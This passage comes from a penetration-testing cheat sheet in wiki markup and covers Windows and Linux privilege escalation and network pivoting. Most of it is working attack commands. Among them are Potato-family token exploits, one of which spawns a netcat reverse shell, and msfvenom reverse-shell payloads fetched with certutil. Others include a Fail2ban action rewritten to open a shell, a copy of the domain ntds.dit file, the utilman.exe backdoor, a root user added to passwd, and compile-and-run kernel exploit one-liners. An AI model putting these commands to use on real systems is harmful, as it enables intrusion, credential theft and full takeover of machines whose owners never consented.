        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp&lt;br /&gt;
# Compile it. Change &#039;debug&#039; to &#039;release&#039;, set correct architecture.&lt;br /&gt;
# Transfer to target&lt;br /&gt;
.\cve-2020-0796.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Iperius Backup 6.1.0 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/46863&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SystemScheduler =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/45072&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Unquoted Service Path ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In order to exploit Unquoted service path we have to:&lt;br /&gt;
# - Be able to write to the target folder - Use icacls&lt;br /&gt;
# - Be able to restart the service or machine&lt;br /&gt;
# Exmaple (10.1.1.89)&lt;br /&gt;
icacls enterprisesystemmanager.exe # We have modify permissions&lt;br /&gt;
# Generate a payload&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe &amp;gt; enterprisesystemmanager.exe&lt;br /&gt;
# Move original .exe to .bak&lt;br /&gt;
 move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak&lt;br /&gt;
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.119.130/enterprisesystemmanager.exe&amp;quot;&lt;br /&gt;
# Catche the connection&lt;br /&gt;
rlwrap nc -lvnp 443                                                                                                                                  1 ⨯&lt;br /&gt;
listening on [any] 443 ...&lt;br /&gt;
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085&lt;br /&gt;
Microsoft Windows [Version 10.0.15063]&lt;br /&gt;
(c) 2017 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;whoami&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows XP SP0/SP1 - UPNP service exploit ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html&lt;br /&gt;
# Requirenment: Obtained a low privilege shell on your victim&#039;s computer. Operating system is Windows XP with SP0 or SP1 installed.&lt;br /&gt;
# See write up for PWK 10.11.1.14.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Exploit Suggester ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows Kernel Exploit list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/SecWiki/windows-kernel-exploits&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== xampp 7.3 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]&lt;br /&gt;
└─# cat exploit.ps1&lt;br /&gt;
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation&lt;br /&gt;
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)&lt;br /&gt;
# Original Author: Maximilian Barz (@S1lkys)&lt;br /&gt;
# Date: 27/09/2021&lt;br /&gt;
# Vendor Homepage: https://www.apachefriends.org&lt;br /&gt;
# Version: XAMPP &amp;lt; 7.2.29, 7.3.x &amp;lt; 7.3.16 &amp;amp; 7.4.x &amp;lt; 7.4.4&lt;br /&gt;
# Tested on: Windows 10 + XAMPP 7.3.10&lt;br /&gt;
# References: https://github.com/S1lkys/CVE-2020-11107&lt;br /&gt;
$file = &amp;quot;C:\xampp\xampp-control.ini&amp;quot;&lt;br /&gt;
$find = ((Get-Content $file)[2] -Split &amp;quot;=&amp;quot;)[1]&lt;br /&gt;
# Insert your payload path here&lt;br /&gt;
$replace = &amp;quot;C:\Users\Mike\Downloads\rev.exe&amp;quot;&lt;br /&gt;
(Get-Content $file) -replace $find, $replace | Set-Content $fil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2009-2698 (Centos 4.8) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xiaoxiaoleo/CVE-2009-2698&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2021-4034 (polkit) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/joeammond/CVE-2021-4034&lt;br /&gt;
# Check suid and see if /usr/bin/pkexec is present and python&lt;br /&gt;
# Then compile and run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== CVE-2023–22809 (bypass sudo) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fail2ban ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Fail writeup&lt;br /&gt;
# Example reverse shell&lt;br /&gt;
# Option:  actionban&lt;br /&gt;
# Notes.:  command executed when banning an IP. Take care that the&lt;br /&gt;
#          command is executed with Fail2Ban user rights.&lt;br /&gt;
# Tags:    See jail.conf(5) man page&lt;br /&gt;
# Values:  CMD&lt;br /&gt;
#&lt;br /&gt;
#actionban =  -I f2b- 1 -s  -j&lt;br /&gt;
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Linux Kernel exploits ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux versions&lt;br /&gt;
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36&lt;br /&gt;
https://www.exploit-db.com/exploits/15285&lt;br /&gt;
# Linux Kernel &amp;lt; 4.4.0-116 (Ubuntu 16.04.4)&lt;br /&gt;
https://www.exploit-db.com/exploits/44298&lt;br /&gt;
# Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27)&lt;br /&gt;
https://www.exploit-db.com/exploits/45010&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Copy Fail - CVE-2026-31431 ====&lt;br /&gt;
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&lt;br /&gt;
&lt;br /&gt;
==== Dirty Frag: Universal Linux LPE ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/V4bel/dirtyfrag.git &amp;amp;&amp;amp; cd dirtyfrag &amp;amp;&amp;amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;amp;&amp;amp; ./exp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ld_reload - Dynamic library hijacking ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one&lt;br /&gt;
# List Dynamic Dependencies = ldd&lt;br /&gt;
# Ldd is a powerful command-line tool that allows users to view an executable file&#039;s shared object dependencies.&lt;br /&gt;
ldd /usr/bin/log-sweeper&lt;br /&gt;
        linux-vdso.so.1 =&amp;gt;  (0x00007ffe11833000)&lt;br /&gt;
        utils.so =&amp;gt; not found&lt;br /&gt;
        libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007f6ce440c000)&lt;br /&gt;
        /lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)&lt;br /&gt;
# Generate .so payload&lt;br /&gt;
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so &amp;gt; utils.so&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SUID ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Setuid Screen 4.5.0 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/41154&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sudo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]&lt;br /&gt;
&lt;br /&gt;
==== Systemctl (Misconfigured Permissions — sudo/SUID) ====&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]&lt;br /&gt;
&lt;br /&gt;
==== Sudo permission to run apache restart ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If your user have these permissions&lt;br /&gt;
(root) NOPASSWD: /usr/sbin/service apache2 restart&lt;br /&gt;
# First check what file you have write permission to.&lt;br /&gt;
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.&lt;br /&gt;
# Example&lt;br /&gt;
# envvars in /etc/apache2 is writeable.&lt;br /&gt;
# Change to another user if there are any on the machine&lt;br /&gt;
export APACHE_RUN_USER=DifferentUser&lt;br /&gt;
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Software ====&lt;br /&gt;
&lt;br /&gt;
===== Exim 4.84-3 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/39535&lt;br /&gt;
# If error, fix with&lt;br /&gt;
sed -i -e &#039;s/\r$//&#039; 39535.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== OpenSMTPD 6.4.0 &amp;lt; 6.6.1 =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/48051&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Writeable passwd ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate hashed password&lt;br /&gt;
openssl passwd  -1 -salt aghanim pass123&lt;br /&gt;
# Add to passwd on target&lt;br /&gt;
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Pivoting/tunneling technique ==&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]&lt;br /&gt;
&lt;br /&gt;
[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]&lt;br /&gt;
&lt;br /&gt;
[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CHISEL AND PROXYCHAINS AND FOXYPROXY&lt;br /&gt;
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 37777 --reverse&lt;br /&gt;
# Target machine&lt;br /&gt;
./chisel client Attacker-IP:37777 R:socks&lt;br /&gt;
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port&lt;br /&gt;
[ProxyList]&lt;br /&gt;
# add proxy here ...&lt;br /&gt;
# meanwile&lt;br /&gt;
# defaults set to &amp;quot;tor&amp;quot;&lt;br /&gt;
socks5  127.0.0.1 1080&lt;br /&gt;
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --&amp;gt; 10.200.57.200 on port 1080 --&amp;gt; 10.200.57.150 (Unreachable from attacker).&lt;br /&gt;
proxychains nc -vn 10.200.57.150 3389&lt;br /&gt;
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).&lt;br /&gt;
proxychains python2 exploit.py.&lt;br /&gt;
# OR by using foxy proxy if I want to access http.&lt;br /&gt;
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).&lt;br /&gt;
# And start foxy proxy. Now I can access the webserver on.&lt;br /&gt;
# I can also use proxychains to access HTTP.&lt;br /&gt;
proxychains firefox.&lt;br /&gt;
# This will open firefox through proxychains.&lt;br /&gt;
&lt;br /&gt;
# Using SOCKS5 with chisel&lt;br /&gt;
./chisel server -v -p 8000 --socks5&lt;br /&gt;
# On the client/target/victim machine&lt;br /&gt;
chisel.exe client -v attacker.com:8000 socks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ligolo-ng ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### LINUX&lt;br /&gt;
# Prepare tunnel&lt;br /&gt;
sudo ip tuntap add user $(whoami) mode tun ligolo&lt;br /&gt;
sudo ip link set ligolo up&lt;br /&gt;
# Start proxy on kali&lt;br /&gt;
./proxy -laddr 192.168.45.195:53 -selfcert&lt;br /&gt;
# On target&lt;br /&gt;
./agent -connect 192.168.45.195:53 -ignore-cert&lt;br /&gt;
# See session in ligolo proxy&lt;br /&gt;
ligolo-ng» session&lt;br /&gt;
# Add pivot to internal network on kali&lt;br /&gt;
sudo ip r add 172.16.213.0/24 dev ligolo&lt;br /&gt;
# Check ip route&lt;br /&gt;
ip route&lt;br /&gt;
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100&lt;br /&gt;
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100&lt;br /&gt;
172.16.213.0/24 dev ligolo scope link&lt;br /&gt;
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195&lt;br /&gt;
192.168.213.0/24 via 192.168.45.254 dev tun0&lt;br /&gt;
&lt;br /&gt;
# In ligolo - in correct session&lt;br /&gt;
